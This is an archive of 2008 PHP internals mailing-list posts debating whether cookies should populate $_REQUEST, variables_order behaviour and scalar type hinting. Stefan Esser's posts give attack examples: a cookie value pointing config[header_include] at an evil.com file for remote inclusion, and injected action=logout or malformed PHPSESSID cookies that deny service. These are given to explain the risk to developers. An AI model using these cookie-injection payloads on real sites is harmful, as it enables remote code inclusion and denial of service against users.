Re: [PHP-DEV] U
On Jan 17, 2008, at 10:17 , Stefan Esser wrote: When someone injects you a cookie like +++action=logout through an XSS or through a feature like foobar.co.kr can set cookies for *.co.kr (in FF atleast). Ok, you are assuming one security issue here, that is not related to the topic. So in other words, the topic at hand has the potential of worsening the impact of an application security flaw. Then you CANNOT use the application anymore. This is a DOS. You cannot defeat this problem except detecting and telling the user to delete his cookies manually... There are only hard ways to kill the cookie for you, because then you would need to a) parse the cookie header to know exactly how it is called (remember whitespace in the beginning is ignored) b) you need to guess for what domain/path combination the injected cookie was set (because otherwise you cannot kill it) Have fun with sending tons of Set-Cookie headers or have fun with telling a DAU how to kill his cookies... Right, I see the problem. The trickier issue is even figuring out that such a funky named cookie was set. I doubt many of us would even think of that. Instead when faced with a DAU customer like that they would assume its some other end user error. I do not know enough about the details of how cookies work, but couldnt there be some way to optionally make the cookie parsing more strict? So you see that you nearly NEVER ever want the cookie in _REQUEST. And even if you can think up a theoretical situation where you don't care the problem is that everyone else uses _REQUEST in unsafe places... Therefore my recommendation in PHP source code audits is usually... If your code uses _REQUEST then overwrite it with an array_merge() of _GET and _POST in the beginning of the script. Never is an exaggeration. I have used this feature to make certain parameters persistent across sessions. However it might be a nice touch if one could leave out items from the GPC setting and thereby prevent them to get added to _REQUEST in the first place. regards, Lukas -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Hello Lukas,
Ah ok .. sorry for having missed that point. Of course I was assuming
that the feature worked as advertised. I guess I was thrown off by the
fact that Stefan initially made it sound like the concept in general
is flawed and would automatically make an application insecure.
Obviously a buggy implementation of such a critical piece could lead
to some issues, though like I said in this case I hardly see this as a
security risk. Relying on $_REQUEST to implement your
the problem is that you usually don't care if the input comes from GET
or POST. But you normally don't want cookies to influence that.
Just imagine my example...
switch ($_REQUEST['action'])
{
case 'logout':
logout();
break;
...
}
When someone injects you a cookie like +++action=logout through an
XSS or through a feature like foobar.co.kr can set cookies for *.co.kr
(in FF atleast).
Then you CANNOT use the application anymore. This is a DOS. You cannot
defeat this problem except detecting and telling the user to delete his
cookies manually...
There are only hard ways to kill the cookie for you, because then you
would need to
a) parse the cookie header to know exactly how it is called (remember
whitespace in the beginning is ignored)
b) you need to guess for what domain/path combination the injected
cookie was set (because otherwise you cannot kill it)
Have fun with sending tons of Set-Cookie headers or have fun with
telling a DAU how to kill his cookies...
But this problem does not only result in DOS. I have also seen code like
this:
admin_config.php
/* The configuration was modified */
if (isset($_REQUEST['config'])) {
...
updateConfig($_REQUEST['config']);
}
This is what I call a Delayed Cross Site Request Forgery because I
just give you the cookie config[header_include]=http://evil.com/cmd.txt?
and the next time you modify the configuration in your application the
sleeping cookie will take effect and overwrite a specific config option.
In this case the included header file of your e.g. forum with a remote
URL. (just an example... such a bug could also be in the user management
and the next time you edit a user he becomes admin...) And the bad thing
with Delayed Cross Site Request Forgery is, that all protections
against CSRF will fail in this situation.
So you see that you nearly NEVER ever want the cookie in _REQUEST. And
even if you can think up a theoretical situation where you don't care
the problem is that everyone else uses _REQUEST in unsafe places...
Therefore my recommendation in PHP source code audits is usually... If
your code uses _REQUEST then overwrite it with an array_merge() of _GET
and _POST in the beginning of the script.
Stefan Esser
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Thu, Jan 17, 2008 at 10:17:18AM +0100, Stefan Esser wrote: So you see that you nearly NEVER ever want the cookie in _REQUEST. And even if you can think up a theoretical situation where you don't care the problem is that everyone else uses _REQUEST in unsafe places... Therefore my recommendation in PHP source code audits is usually... If your code uses _REQUEST then overwrite it with an array_merge() of _GET and _POST in the beginning of the script. I have seen PHPSESSID taken from _REQUEST, like that it doesn't matter if the browser won't accept cookies and the session ID is propagated via _GET/_POST. However: I am quite willing to accept the argument that the trivial amount of extra code to do this properly is the 'right' solution. What Stefan is saying ought to be listed with the security issues on the PHP web site. -- Alain Williams Linux Consultant - Mail systems, Web sites, Networking, Programmer, IT Lecturer. +44 (0) 787 668 0256 http://www.phcomp.co.uk/ Parliament Hill Computers Ltd. Registration Information: http://www.phcomp.co.uk/contact.php Chairman of UKUUG: http://www.ukuug.org/ #include std_disclaimer.h -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Wed, January 16, 2008 12:54 am, Stefan Priebsch wrote: Richard Lynch schrieb: If a web service really doesn't care whether it is responding to GET or POST or even forged COOKIES to product its output, why would it not just use REQUEST? It's not as if it's any harder to forge GET vs. POST vs. COOKIE data, really. You can easily have sombeody inadvertedly send a malicious GET request just by embedding an image link into a page. Or they could just use wget and DOS me. Allowing POST or GET for an (idempotent) operation and using $_REQUEST still seems like it's not gonna hurt anything... I consider GET/POST/COOKIE equally dangerous/suspicious/spoofable/etc, so whatever security methods I am employing for GPC data should be sufficient for any GPC data, regardless of source. And, yeah, if somebody wants to cram a value into a COOKIE instead of using a link, the service would respond to it. What increased risk is there from responding to a forged cookie instead of a forged GET or POST data request? What am I missing? How is a forged COOKIE any more/less dangerous than a forged GET/POST? PS This harkens back to pre-CSS days when one Designer client wanted buttons and one Designer client wanted links. I didn't really care what their UI looked like, so used $_REQUEST, and told them both to have at it. These days, I'd probably just use GET and tell them to use CSS to make their links look like buttons... -- Some people have a gift link here. Know what I want? I want you to buy a CD from some indie artist. http://cdbaby.com/from/lynch Yeah, I get a buck. So? -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Wed, January 16, 2008 1:45 am, Stefan Esser wrote: Stefan Priebsch schrieb: Richard Lynch schrieb: If a web service really doesn't care whether it is responding to GET or POST or even forged COOKIES to product its output, why would it not just use REQUEST? It's not as if it's any harder to forge GET vs. POST vs. COOKIE data, really. I am replying to Stefan's mail because I don't see the one by Richrd (yet). @Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Therefore I could infect your browser with a cookie that says e.g. action=logout and from that day on you cannot use the application anymore because REQUEST[action] will be logout forever (until you manually delete the cookie). And to infect you with a COOKIE is so simple... a) I could use an XSS vuln in any application on a subdomain b) Ever tried setting a cookie for *.co.uk or *.co.kr when you own a single domain there? c) Other cross domain whatever ways... And if you believe that this is not an issue then I can tell you that there is a simple possibility to set f.e. a *.co.kr cookie that results in several PHP versions just returning white pages. Imagine: Just a single cookie to kill all PHP pages in *.co.kr And by setting an illegal session ID in a cookie valid for *.co.kr in a variable called +PHPSESSID=*illegal* you can still DOS every PHP application in korea using PHP sessions... Understood. My search engine could return what the XSS-forged cookie of an attacker wants them to find, instead of what they asked for, if the attacker over-ride the search input variables with a cookie value. This could be very confusing/frustrating to a user; who would assume my site search is very broken. And if I was foolish enough to not sanitize the GPC data, regardless of source, an attacker could use an XSS cookie to trash the DB, and be very difficult to track them down, as their attack cookie resides on somebody else's box from a previous interaction with their site, or more likely some random XSS-vulnerable third-party site. So I'd never know who actually attacked the application. I am willing to accept that risk because: The number of times your average user is told to wipe out their cookies when they are having random problems means that I'll probably never have to deal with a bug report on this. They'll just assume I fixed the site, which I haven't touched in a decade. And it's only likely to ever affect an extremely tiny portion of users for this particular application, since it has a very narrow niche userbase. I daresay this number approaches zero... The actual application/data and the server is not at risk, at least afaics, from this sort of attack. Thanks for explaining exactly what the risk and attack vector were! -- Some people have a gift link here. Know what I want? I want you to buy a CD from some indie artist. http://cdbaby.com/from/lynch Yeah, I get a buck. So? -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Wed, January 16, 2008 2:17 pm, Stefan Esser wrote: It would have been a good idea to have such a configuration option that allows to specify what is in _REQUEST and what not... Perhaps it would be wise to add yet another php.ini setting? [Yeah, I know the usual response to that. Just think about it, okay?] Or, perhaps, consider dropping COOKIE from _REQUEST?... I know I never quite understood why COOKIE was put into there in the first place, from a pragmatic stand-point... Sure, it's data coming to the HTTP request from the outside, but I've never really found it useful to have it in there. Does anybody have any real-world use for COOKIE data in _REQUEST? I have, obviously, found it useful for a web service (idempotent) to not really care if the data came from POST or GET in the bad old days of no CSS re-styling links/buttons. I think using $_REQUEST for a non-idempotent operation would be sheer follow, personally, since you're just ASKING search engines to wreak havoc on your site... I'm not sure how/where that would be best explained to the masses on php.net, or even if it would be appropriate to do so, but perhaps it would. Providing $_REQUEST without explaining what a legitimate usage is, and what a dangerous usage is, seems like a Bad Idea (tm). Perhaps something like: $_REQUEST should be used only to allow using POST data in addition to GET data, never the other way around. Using $_REQUEST for operations non-idempotent operations (link to RFC) will cause search engines to carry out data-changing operations on your site. I'm sure the Doc guys could write this better, but it's a start... @Stefan Esser: Are you subscribed to php-internals@ or were you dragged into this by an off-list Cc:? (I.e., should I keep Cc:-ing you?) -- Some people have a gift link here. Know what I want? I want you to buy a CD from some indie artist. http://cdbaby.com/from/lynch Yeah, I get a buck. So? -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
@Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Isn't it solved by setting variables_order to correct value, at least partially? I.e. if you have variable in GET/POST it won't be overwritten by the COOKIE one, of course there still may be a scenario when the variable is set only in COOKIE, but then doesn't omitting 'C' from variables_order exclude cookies from _REQUEST? -- Stanislav Malyshev, Zend Software Architect [EMAIL PROTECTED] http://www.zend.com/ (408)253-8829 MSN: [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Stanislav Malyshev wrote: @Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Isn't it solved by setting variables_order to correct value, at least partially? I.e. if you have variable in GET/POST it won't be overwritten by the COOKIE one, of course there still may be a scenario when the variable is set only in COOKIE, but then doesn't omitting 'C' from variables_order exclude cookies from _REQUEST? I think this argument is a big misunderstanding. What Stefan (I think) is trying to get across is that it is probably not best practices to use $_REQUEST unless you know exactly what it means to use $_REQUEST. I know we had some issues at dealnews where people were using $_REQUEST because they wanted to handle GET and POST in one stroke. But, cookies would get in the way because (and this is the key) they are set in other pages/apps that are in no way related to the app/page in question. So, I think Stefan's request is in the spirit of promoting best practices to people reading this list. IMO, best practices for these variables would be to access $_GET, $_POST and $_COOKIE explicitly so that you always know what you are getting. Frankly, I have considered changing the order to CGP on my servers. Most often, I would want GET to override cookies as they would collide most often when I was toggling a setting via a link or form that is to be saved to a cookie. Hmm, I think I feel a blog post coming on. -- Brian Moon Senior Developer/Engineer -- When you care enough to spend the very least. http://dealnews.com/ -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Stanislav Malyshev schrieb: @Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Isn't it solved by setting variables_order to correct value, at least partially? I.e. if you have variable in GET/POST it won't be overwritten by the COOKIE one, of course there still may be a scenario when the variable is set only in COOKIE, but then doesn't omitting 'C' from variables_order exclude cookies from _REQUEST? Changing the variables_order to CGP is not a good idea either, because then applications that use cookies through _REQUEST could be tricked by simple _GET variables. Session Fixation vulnerabilities in selfmade session management systems come to mind. Unfortunately removing C from variables_order does not only remove cookies from _REQUEST but removes the content of _COOKIE. And that would kill e.g. ext/session. It would have been a good idea to have such a configuration option that allows to specify what is in _REQUEST and what not... Stefan Esser -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Changing the variables_order to CGP is not a good idea either, because then applications that use cookies through _REQUEST could be tricked by I can imagine why one would use _REQUEST to work with GET and POST alike. However I can not imagine what would be the reason to use REQUEST if you need cookie-only variable. It is very rare that application API would consider cookie and GET parameter be of the same semantics. Anyway, I'd recommend GP over CGP. Unfortunately removing C from variables_order does not only remove cookies from _REQUEST but removes the content of _COOKIE. And that would kill e.g. ext/session. Hmm... I though exactly the opposite should happen, and also that's what the manual says - The content and order of $_REQUEST is also affected by this (variables_order - SM.) directive. Maybe if it doesn't work this way we should change it for 5.3? I don't see a very good reason to kill _COOKIE (if there is, maybe we can have other option for that) but as you said there is a good reason to drop cookies from _REQUEST. -- Stanislav Malyshev, Zend Software Architect [EMAIL PROTECTED] http://www.zend.com/ (408)253-8829 MSN: [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Jan 16, 2008, at 9:17 , Stefan Esser wrote: Stanislav Malyshev schrieb: @Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Isn't it solved by setting variables_order to correct value, at least partially? I.e. if you have variable in GET/POST it won't be overwritten by the COOKIE one, of course there still may be a scenario when the variable is set only in COOKIE, but then doesn't omitting 'C' from variables_order exclude cookies from _REQUEST? Changing the variables_order to CGP is not a good idea either, because then applications that use cookies through _REQUEST could be tricked by simple _GET variables. Session Fixation vulnerabilities in selfmade session management systems come to mind. Unfortunately removing C from variables_order does not only remove cookies from _REQUEST but removes the content of _COOKIE. And that would kill e.g. ext/session. It would have been a good idea to have such a configuration option that allows to specify what is in _REQUEST and what not... I dont understand the problem. You use request if you do not care where a parameter is set and you use the other superglobals when you do care. End of story. I hardly see this as a general security risk and it surely isnt a general annoyance like magic quotes gpc. regards, Lukas -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
I dont understand the problem. You use request if you do not care where a parameter is set and you use the other superglobals when you do care. The problem is that variables_order should specify what gets into _REQUEST (as documented in the manual) and as Stefan reports it doesn't exactly do that. I think having control of what ends up in _REQUEST and how is useful, and variables_order should work as specified. -- Stanislav Malyshev, Zend Software Architect [EMAIL PROTECTED] http://www.zend.com/ (408)253-8829 MSN: [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Jan 16, 2008, at 11:55 , Stanislav Malyshev wrote: I dont understand the problem. You use request if you do not care where a parameter is set and you use the other superglobals when you do care. The problem is that variables_order should specify what gets into _REQUEST (as documented in the manual) and as Stefan reports it doesn't exactly do that. I think having control of what ends up in _REQUEST and how is useful, and variables_order should work as specified. Ah ok .. sorry for having missed that point. Of course I was assuming that the feature worked as advertised. I guess I was thrown off by the fact that Stefan initially made it sound like the concept in general is flawed and would automatically make an application insecure. Obviously a buggy implementation of such a critical piece could lead to some issues, though like I said in this case I hardly see this as a security risk. Relying on $_REQUEST to implement your security policy around what methods are allowed to pass in input seems unusual. More likely someone relying on this, did not think about security in the first place. Anyways, if this bug exists it should get fixed .. just weird that we need such a lengthy (and unfocused) discussion to report a bug and find a patch or it. regards, Lukas -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sat, January 5, 2008 2:48 pm, Stefan Esser wrote: Hello, typing into PHP, even if it is optional. Passing $_REQUEST['age'] to a that $_REQUEST['age'] has been checked for numeric before the functio would you please not use $_REQUEST in any of your examples? $_REQUEST is one of the biggest design weaknesses in PHP. Every application using $_REQUEST is most probably vulnerable to Delayed Cross Site Request Forgery problems. (This basically means if e.g. a cookie named (age) exists it will always overwrite the GET/POST content and therefore unwanted requests will be performed) Can you explain (or point to a reference) how this is any worse than GET/POST over-writing each other, depending on gpc settings? In other words, if I'm not catching the user over-writing GET with POST or vice versa, then having a forged COOKIE over-write it seems no worse to me. If a web service really doesn't care whether it is responding to GET or POST or even forged COOKIES to product its output, why would it not just use REQUEST? It's not as if it's any harder to forge GET vs. POST vs. COOKIE data, really. -- Some people have a gift link here. Know what I want? I want you to buy a CD from some indie artist. http://cdbaby.com/from/lynch Yeah, I get a buck. So? -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Richard Lynch schrieb: If a web service really doesn't care whether it is responding to GET or POST or even forged COOKIES to product its output, why would it not just use REQUEST? It's not as if it's any harder to forge GET vs. POST vs. COOKIE data, really. You can easily have sombeody inadvertedly send a malicious GET request just by embedding an image link into a page. Regards, Stefan -- e-novative - We make IT work for you. e-novative GmbH - HR: Amtsgericht München HRB 139407 Sitz: Wolfratshausen - GF: Dipl. Inform. Stefan Priebsch http://www.e-novative.de - GnuPG Key: 0x7DB67F7F -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Stefan Priebsch schrieb: Richard Lynch schrieb: If a web service really doesn't care whether it is responding to GET or POST or even forged COOKIES to product its output, why would it not just use REQUEST? It's not as if it's any harder to forge GET vs. POST vs. COOKIE data, really. I am replying to Stefan's mail because I don't see the one by Richrd (yet). @Richard: You don't understand the Problem with _REQUEST. It is not about the fact that someone can forge GET, POST; COOKIE variables. It is about the fact that COOKIEs will overwrite GET and POST data in REQUEST. Therefore I could infect your browser with a cookie that says e.g. action=logout and from that day on you cannot use the application anymore because REQUEST[action] will be logout forever (until you manually delete the cookie). And to infect you with a COOKIE is so simple... a) I could use an XSS vuln in any application on a subdomain b) Ever tried setting a cookie for *.co.uk or *.co.kr when you own a single domain there? c) Other cross domain whatever ways... And if you believe that this is not an issue then I can tell you that there is a simple possibility to set f.e. a *.co.kr cookie that results in several PHP versions just returning white pages. Imagine: Just a single cookie to kill all PHP pages in *.co.kr And by setting an illegal session ID in a cookie valid for *.co.kr in a variable called +PHPSESSID=*illegal* you can still DOS every PHP application in korea using PHP sessions... Greetings, Stefan -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Jan 6, 2008 5:06 AM, Stefan Esser [EMAIL PROTECTED] wrote: Hello Daniel, It may be off-topic for the initial post, but I disagree wholeheartedly with the above statement, Stefan. There are innumerable reasons where $_REQUEST would be much more economic than writing out all conditions for $_POST, $_GET, $_SESSION, $_COOKIE it doesn't matter if you disagree with my statement, because that is just another personal opinion. It is a known fact that using $_REQUEST usually introduces security holes in applications. There is always $_COOKIE merged into it, which overwrites $_GET and $_POST. That means I just need to infect your browser with a cookie and have delayed cross site forgeries all over the place... Believe me, I'm not saying you're wrong, because in 99% (figurative, of course) of the production environments, $_REQUEST is a horrible idea. However, my opinion is just that there is a time and place for it, and it shouldn't be written off completely. For the record, I don't use it myself (save for scripts I write to generate random number lists on my local dev box), it just isn't fair to dismiss it with prejudice. -- Daniel P. Brown [Phone Numbers Go Here!] [They're Hidden From View!] If at first you don't succeed, stick to what you know best so that you can make enough money to pay someone else to do it for you. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Hello Daniel, It may be off-topic for the initial post, but I disagree wholeheartedly with the above statement, Stefan. There are innumerable reasons where $_REQUEST would be much more economic than writing out all conditions for $_POST, $_GET, $_SESSION, $_COOKIE it doesn't matter if you disagree with my statement, because that is just another personal opinion. It is a known fact that using $_REQUEST usually introduces security holes in applications. There is always $_COOKIE merged into it, which overwrites $_GET and $_POST. That means I just need to infect your browser with a cookie and have delayed cross site forgeries all over the place... Stefan Esser -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sat, Jan 05, 2008 at 09:48:37PM +0100, Stefan Esser wrote: Hello, typing into PHP, even if it is optional. Passing $_REQUEST['age'] to a that $_REQUEST['age'] has been checked for numeric before the functio would you please not use $_REQUEST in any of your examples? $_REQUEST is one of the biggest design weaknesses in PHP. Every application using $_REQUEST is most probably vulnerable to Delayed Cross Site Request Forgery problems. (This basically means if e.g. a cookie named (age) exists it will always overwrite the GET/POST content and therefore unwanted requests will be performed) OK And well... This thread continues without a single valid (!= personal opinion) reason why type hinting should NOT be introduced. BTW accepting the string '1' where an (int) type hint is placed would be the next stupid design decision. Why ? -- Alain Williams Linux Consultant - Mail systems, Web sites, Networking, Programmer, IT Lecturer. +44 (0) 787 668 0256 http://www.phcomp.co.uk/ Parliament Hill Computers Ltd. Registration Information: http://www.phcomp.co.uk/contact.php Chairman of UKUUG: http://www.ukuug.org/ #include std_disclaimer.h -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
[PHP-DEV] U
Hello, typing into PHP, even if it is optional. Passing $_REQUEST['age'] to a that $_REQUEST['age'] has been checked for numeric before the functio would you please not use $_REQUEST in any of your examples? $_REQUEST is one of the biggest design weaknesses in PHP. Every application using $_REQUEST is most probably vulnerable to Delayed Cross Site Request Forgery problems. (This basically means if e.g. a cookie named (age) exists it will always overwrite the GET/POST content and therefore unwanted requests will be performed) And well... This thread continues without a single valid (!= personal opinion) reason why type hinting should NOT be introduced. BTW accepting the string '1' where an (int) type hint is placed would be the next stupid design decision. Yours, Stefan Esser -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
opinion) reason why type hinting should NOT be introduced. BTW accepting the string '1' where an (int) type hint is placed would be the next stupid design decision. Why Because type hinting is supposed to limit what kind of variable type is allowed for a parameter. When you magically convert you kill the whole idea of type hints and replace it with some magical function parameter auto type conversion, which would be another hard to understand magic feature of PHP. And the next problem would be what should happen in case of a magical conversion when the function wants an int in a parameter that is a reference. Suddenly calling a function does magically change variable types outside of the function = NIGHTMARE. Stefan Esser -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sat, Jan 05, 2008 at 10:13:29PM +0100, Stefan Esser wrote: opinion) reason why type hinting should NOT be introduced. BTW accepting the string '1' where an (int) type hint is placed would be the next stupid design decision. Why Because type hinting is supposed to limit what kind of variable type is allowed for a parameter. When you magically convert you kill the whole Ahah - I think that the above identifies one of two different views of what is meant by type hinting: 1) type hinting means that the internal php type of a value[**] 2) type hinting means that the value could be exactly interpretted as a certain type. With (1): 1 and '1' are of different types (int and string) with (2): 1 and '1' are the same - could both be int or string (or even float) Interpretation (2) is much more in tune with the type juggling that PHP does and makes it a good language for dealing with the web. I agree that type hinting style (1) has all sorts of problems. Type hinting (2) would be useful and is what PHP needs. [**] we are talking about values and not variables here - subtle/slight but important difference. idea of type hints and replace it with some magical function parameter auto type conversion, which would be another hard to understand magic feature of PHP. Once you have assertained that a parameter value is of a certain type, you might as well convert it to the certain type (but keeping the value unchanged) since the function is likely to use the parameter as that type. This will result in faster code[%%] And the next problem would be what should happen in case of a magical conversion when the function wants an int in a parameter that is a reference. Suddenly calling a function does magically change variable types outside of the function = NIGHTMARE. This is something that I have identified as a problem in private email with Sam Barrow. However: if we have *value* preserving type hinting this should not be a problem. If the *value* cannot be 100% interpretted as something of the type hint - then we have an error -- which would kill the script anyway. [%%] This shows that using the correct type can make your program faster. Run the following script: ?php echo Starting\n; $myTime = microtime(true); $top = '1000'; $t = 0; $myTime = microtime(true); for($i = 0; $i $top; $i++) $t += $i; $myTime = microtime(true) - $myTime; echo top as string $myTime\n; $top = 1000; $t = 0; $myTime = microtime(true); for($i = 0; $i $top; $i++) $t += $i; $myTime = microtime(true) - $myTime; echo top as number $myTime\n; ? The output that I get is: Starting top as string 6.147411108017 top as number 3.7645990848541 There is thus considerable advantage on doing the type juggling as part of the type hinting on function call. -- Alain Williams Linux Consultant - Mail systems, Web sites, Networking, Programmer, IT Lecturer. +44 (0) 787 668 0256 http://www.phcomp.co.uk/ Parliament Hill Computers Ltd. Registration Information: http://www.phcomp.co.uk/contact.php Chairman of UKUUG: http://www.ukuug.org/ #include std_disclaimer.h -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Also, function foo(SomeClass $obj) would error out if passed something other than a SomeClass instance, while function foo(int $number) would just cast $number to int. Not really intuitive and not really consistent. Regards, Vlad Bosinceanu Stefan Esser wrote: Hello, typing into PHP, even if it is optional. Passing $_REQUEST['age'] to a that $_REQUEST['age'] has been checked for numeric before the functio would you please not use $_REQUEST in any of your examples? $_REQUEST is one of the biggest design weaknesses in PHP. Every application using $_REQUEST is most probably vulnerable to Delayed Cross Site Request Forgery problems. (This basically means if e.g. a cookie named (age) exists it will always overwrite the GET/POST content and therefore unwanted requests will be performed) And well... This thread continues without a single valid (!= personal opinion) reason why type hinting should NOT be introduced. BTW accepting the string '1' where an (int) type hint is placed would be the next stupid design decision. Yours, Stefan Esser -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Jan 5, 2008 3:48 PM, Stefan Esser [EMAIL PROTECTED] wrote: Hello, typing into PHP, even if it is optional. Passing $_REQUEST['age'] to a that $_REQUEST['age'] has been checked for numeric before the functio would you please not use $_REQUEST in any of your examples? $_REQUEST is one of the biggest design weaknesses in PHP. Every application using $_REQUEST is most probably vulnerable to Delayed Cross Site Request Forgery problems. (This basically means if e.g. a cookie named (age) exists it will always overwrite the GET/POST content and therefore unwanted requests will be performed) It may be off-topic for the initial post, but I disagree wholeheartedly with the above statement, Stefan. There are innumerable reasons where $_REQUEST would be much more economic than writing out all conditions for $_POST, $_GET, $_SESSION, $_COOKIE It's certainly not 100% advantageous, but that's the reason why we make the Big Bucks[tm], right? *cough* Right? /me cries softly in the corner. -- Daniel P. Brown [Phone Numbers Go Here!] [They're Hidden From View!] If at first you don't succeed, stick to what you know best so that you can make enough money to pay someone else to do it for you. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
Because type hinting is supposed to limit what kind of variable type is allowed for a parameter. When you magically convert you kill the whole idea of type hints and replace it with some magical function parameter auto type conversion, which would be another hard to understand magic feature of PHP. This is one of the reasons I am not so sure I like the idea of type hinting for scalar types. In a language like php where you often times have data coming in as a string no matter what, it seems like strict type hinting would be a pain in the neck to use effectively. If you start using 'int' type checks for functions you are going to want to be passing data from _GET, _POST, etc to, you will have to do is_numeric checks or something similar, so instead of saving this userland code (like people are arguing scalar type hints will do) you are just moving that userland outside of the function into the code calling the function. That doesn't seem like much of a win to me in the ease-of-use regard. That being said I still do agree with Stefan that changing the type of a variable would be aweful. I do know that for any purpose I have for additional type hinting would actually be solved by just introducing type hints for 'scalar' (read string or int) and 'resource'. - Mike Lively -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sun, 2008-01-06 at 01:11 +0200, Vlad Bosinceanu wrote: Also, function foo(SomeClass $obj) would error out if passed something other than a SomeClass instance, while function foo(int $number) would just cast $number to int. Not really intuitive and not really consistent. My patch does not cast. I think this is pointless to cast type hints, as type juggling will be performed anyway when the function arguments are echoed, passed to other functions, etc. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sat, 2008-01-05 at 15:59 -0800, Mike Lively wrote: Because type hinting is supposed to limit what kind of variable type is allowed for a parameter. When you magically convert you kill the whole idea of type hints and replace it with some magical function parameter auto type conversion, which would be another hard to understand magic feature of PHP. This is one of the reasons I am not so sure I like the idea of type hinting for scalar types. In a language like php where you often times have data coming in as a string no matter what, it seems like strict type hinting would be a pain in the neck to use effectively. If you start using 'int' type checks for functions you are going to want to be passing data from _GET, _POST, etc to, you will have to do is_numeric checks or something similar, so instead of saving this userland code (like people are arguing scalar type hints will do) you are just moving that userland outside of the function into the code calling the function. That doesn't seem like much of a win to me in the ease-of-use regard. Please, everyone understand this: Type hinting is not intended to be used for input. Only internal stuff. Forget $_REUQEST, $_POST, etc. Type hinting would not be useful for these things, we all know this. That being said I still do agree with Stefan that changing the type of a variable would be aweful. I do know that for any purpose I have for additional type hinting would actually be solved by just introducing type hints for 'scalar' (read string or int) and 'resource'. - Mike Lively -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] U
On Sat, 2008-01-05 at 21:35 -0500, Sam Barrow wrote: On Sat, 2008-01-05 at 15:59 -0800, Mike Lively wrote: Because type hinting is supposed to limit what kind of variable type is allowed for a parameter. When you magically convert you kill the whole idea of type hints and replace it with some magical function parameter auto type conversion, which would be another hard to understand magic feature of PHP. This is one of the reasons I am not so sure I like the idea of type hinting for scalar types. In a language like php where you often times have data coming in as a string no matter what, it seems like strict type hinting would be a pain in the neck to use effectively. If you start using 'int' type checks for functions you are going to want to be passing data from _GET, _POST, etc to, you will have to do is_numeric checks or something similar, so instead of saving this userland code (like people are arguing scalar type hints will do) you are just moving that userland outside of the function into the code calling the function. That doesn't seem like much of a win to me in the ease-of-use regard. Please, everyone understand this: Type hinting is not intended to be used for input. Only internal stuff. Forget $_REUQEST, $_POST, etc. Type hinting would not be useful for these things, we all know this. input is going to makes it's way into your api at some point. Now of course you can (and should) be filtering this input before it is used, but if imo when dealing with a loosely typed language where the same input could be hinted as an int in one function it eventually reaches, and a string in another. The point being I understand you may be targeting 'internal stuff' but programming (especially web development) is centered around manipulating/reading input to perform actions...just because it's not 'intended' doesn't mean it's going to never happen. Also, I am pretty sure PDO returns results from at least mysql and sqlite as strings regardless of their type in the database...or are results from the database also not something type hints are inteded 